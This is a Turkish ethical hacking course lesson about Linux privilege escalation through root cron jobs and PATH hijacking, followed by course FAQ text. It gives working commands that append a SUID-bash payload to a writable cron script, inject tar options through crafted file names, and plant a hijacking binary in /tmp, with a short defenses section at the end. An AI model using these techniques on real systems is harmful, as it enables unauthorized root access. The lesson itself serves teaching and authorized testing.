Cron İşleri ve PATH
Zamanlanmış görevlerin kötüye kullanımı
Cron İşleri ve PATH, CoddyKit'te ücretsiz bir Ethical Hacking Academy dersidir. Bu, 4 dersinin 3. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, Ethical Hacking Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. Ethical Hacking Academy kursu toplamda 4 dersten oluşur.
Bir Yol Olarak Cron Görevleri
cron arka plan süreci, çoğunlukla root olarak zamanlanmış görevleri çalıştırır. Bir root cron görevinin ne çalıştırdığını — betiğini, girdilerini veya komutları nasıl çözdüğünü — etkileyebiliyorsanız kodu root olarak çalıştırabilirsiniz.
Cron'u Numaralandırma
Sistem crontab'ını ve cron dizinlerini okuyun. Her görevi kimin çalıştırdığını ve hangi betikleri çağırdığını not edin.
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/nullGizli Görevleri İzleme
Bazı görevler belirgin dosyalarda bulunmaz. pspy, root olmadan işlem oluşturulmasını izler ve cron komutlarını çalıştıkları anda ortaya çıkarır — yapılandırmada okuyamadığınız komutlar da dahil.
./pspy64
# watch for periodic root processesYazılabilir Cron Betikleri
En basit istismar yöntemi şudur: root yetkisiyle çalışan bir cron işi, yazma yetkiniz olan bir betiği çalıştırır. Yükünüzü betiğin sonuna ekleyin ve bir sonraki çalışmayı bekleyin.
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shJoker Karakter Enjeksiyonu
Root yetkisiyle çalışan bir cron işi, denetiminizdeki bir dizinde tar -czf backup.tar.gz * gibi bir joker karakter kullanıyorsa, adları komut satırı seçenekleri (argüman enjeksiyonu) gibi davranan dosyalar oluşturabilirsiniz. Böylece tar'ı komutunuzu çalıştırmaya zorlayabilirsiniz.
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shPATH Nedir?
PATH, kabuğun komutları aradığı dizinlerin listesidir. Bir betik bir komutu yalnızca adıyla çağırdığında (örneğin /usr/bin/backup yerine backup), PATH içindeki eşleşen ilk dosya çalıştırılır.
echo $PATH
# /usr/local/bin:/usr/bin:/binPATH Ele Geçirme
Root yetkisiyle çalışan bir betik, bir komutu mutlak yol belirtmeden çağırıyorsa ve PATH'in başına yazılabilir bir dizin ekleyebiliyorsanız, o dizine aynı ada sahip kötü amaçlı bir ikili yerleştirin. Root, sizin sürümünüzü çalıştırır.
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHSUID İkililerinde Göreli Yol
Aynı kusur, system("service ...") çağrısını tam yol belirtmeden yapan özel SUID ikililerinde de görülür. PATH'i ele geçirmek, kodunuzu root yetkisiyle çalıştırır; böylece PATH istismarını SUID kavramıyla birleştirmiş olursunuz.
Yazılabilir PATH Dizinini İstismar Etme
PATH'i değiştirmeseniz bile mevcut bir PATH dizini (örneğin /usr/local/bin) yazılabilirse ve root işi burada bulunan bir komutu çağırıyorsa, ikilinizi doğrudan bu konuma bırakmanız yeterlidir.
ls -ld /usr/local/bin # check for write permissionSaldırıyı Zamanlama
Cron tabanlı yetki yükseltme sabır gerektirir — zamanlamanın gerçekleşmesini beklemelisiniz. Aralığı not edin, yükünüzü yerleştirin ve iş çalıştıktan sonra sonucu (örneğin SUID kabuğunuzu) kontrol edin.
watch -n 5 ls -la /tmp/rootbashSavunmalar ve Etik
Savunma ekipleri betiklerde mutlak yollar kullanmalı, cron betikleri ile bunların dizinlerindeki izinleri kısıtlamalı, saldırganın denetleyebildiği yollarda joker karakter kullanmaktan kaçınmalı ve cron içinde güvenli bir PATH ayarlamalıdır. Bu teknikleri yalnızca yetkili olduğunuz yerlerde deneyin.
Hızlı Kontrol
Cron/PATH bilginizi sınayın.
Özet
Cron ve PATH tabanlı yetki yükseltmeyi öğrendiniz:
- yazılabilir betikleri çağıran veya joker karakterler kullanan root cron işleri istismar edilebilir
- pspy gizli zamanlanmış süreçleri ortaya çıkarır
- PATH ele geçirme, mutlak yol olmadan çağrılan komutları istismar eder
- Yükü yerleştirin, zamanlamayı bekleyin ve root yetkisini elde edin
Sırada: çekirdek istismarları.
Sıkça Sorulan Sorular
“Cron İşleri ve PATH” dersi ücretsiz mi?
Evet — “Cron İşleri ve PATH” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve Ethical Hacking Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. Ethical Hacking Academy kursu toplamda 4 dersten oluşur.
“Cron İşleri ve PATH” dersinde ne öğreneceğim?
Zamanlanmış görevlerin kötüye kullanımı Ethical Hacking Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
Ethical Hacking Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te Ethical Hacking Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 3. dersidir.
“Cron İşleri ve PATH” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu Ethical Hacking Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her Ethical Hacking Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- Numaralandırma
- SUID ve Sudo Kötüye Kullanımı
- Cron İşleri ve PATH
- Çekirdek İstismarları